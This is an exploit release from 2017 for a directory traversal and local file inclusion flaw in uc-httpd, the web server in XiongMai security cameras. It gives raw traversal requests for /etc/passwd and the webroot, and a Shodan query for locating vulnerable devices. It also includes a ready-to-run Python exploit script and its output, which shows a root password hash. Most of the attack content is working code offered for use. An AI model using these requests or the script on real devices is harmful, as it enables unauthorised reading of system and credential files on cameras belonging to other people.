uc-httpd Local File Inclusion / Traversal
Posted on 31 May 2017
______ ______ _____ ___ _____ _____ _____ | ___ | ___ | _ | |_ | | ___| / __ |_ _| | |_/ / | |_/ / | | | | | | | |__ | / / | | | __/ | / | | | | | | | __| | | | | | | | | \_/ / /\__/ / | |___ | \__/ | | \_| \_| \_| \___/ \____/ \____/ \____/ \_/ _____ _ _ _____ _____ _____ _ _ ______ _____ _____ __ __ |_ _| | | | / ___| | ___| / __ | | | | | ___ |_ _| |_ _| / / | | | | | `--. | |__ | / / | | | | | |_/ / | | | | V / | | | . ` | `--. | __| | | | | | | | / | | | | / _| |_ | | | /\__/ / | |___ | \__/ | |_| | | | _| |_ | | | | \___/ \_| \_/ \____/ \____/ \____/ \___/ \_| \_| \___/ \_/ \_/ [+]---------------------------------------------------------[+] | Vulnerable Software: uc-httpd | | Vendor: XiongMai Technologies | | Vulnerability Type: LFI, Directory Traversal | | Date Released: 03/04/2017 | | Released by: keksec | [+]---------------------------------------------------------[+] uc-httpd is a HTTP daemon used by a wide array of IoT devices (primarily security cameras) which is vulnerable to local file inclusion and directory traversal bugs. There are a few million total vulnerable devices, with around one million vulnerable surviellence cameras. The following request can be made to display the contents of the 'passwd' file: GET ../../../../../etc/passwd HTTP/1.0 To display a directory listing, the following request can be made: GET ../../../../../var/www/html/ HTTP/1.0 The above request would output the contents of the webroot directory as if 'ls' command was executed The following shodan request can be used to display vulnerable systems: product:uc-httpd Here is a proof of concept (written by @sxcurity): ------------------------------------------------------------------------------------------------------------- ''' #!/usr/bin/env python import urllib2, httplib, sys httplib.HTTPConnection._http_vsn = 10 httplib.HTTPConnection._http_vsm_str = 'HTTP/1.0' print "[+] uc-httpd 0day exploiter [+]" print "[+] usage: python " + __file__ + " http://<target_ip>" host = sys.argv[1] fd = raw_input('[+] File or Directory: ') print "Exploiting....." print ' ' print urllib2.urlopen(host + '/../../../../..' + fd).read() ''' ------------------------------------------------------------------------------------------------------------- Here is a live example of the exploit being ran: root@127:~/dongs# python pwn.py http://127.0.0.1 [+] uc-httpd 0day exploiter [+] [+] usage: python pwn.py http://<target_ip> [+] File or Directory: /etc/passwd Exploiting..... root:absxcfbgXtb3o:0:0:root:/:/bin/sh root@127:~/dongs# python pwn.py http://127.0.0.1 [+] uc-httpd 0day exploiter [+] [+] usage: python pwn.py http://<target_ip> [+] File or Directory: /proc/version Exploiting..... Linux version 3.0.8 (leixinyuan@localhost.localdomain) (gcc version 4.4.1 (Hisilicon_v100(gcc4.4-290+uclibc_0.9.32.1+eabi+linuxpthread)) ) #52 Fri Apr 22 12:33:57 CST 2016 root@127:~/dongs# ------------------------------------------------------------------------------------------------------------- How to fix: Sanitize inputs, don't run your httpd as root! [+]---------------------------------------------------------[+] | CONTACT US: | | | | IRC: irc.insecurity.zone (6667/6697) #insecurity | | Twitter: @insecurity | | Website: insecurity.zone | [+]---------------------------------------------------------[+]
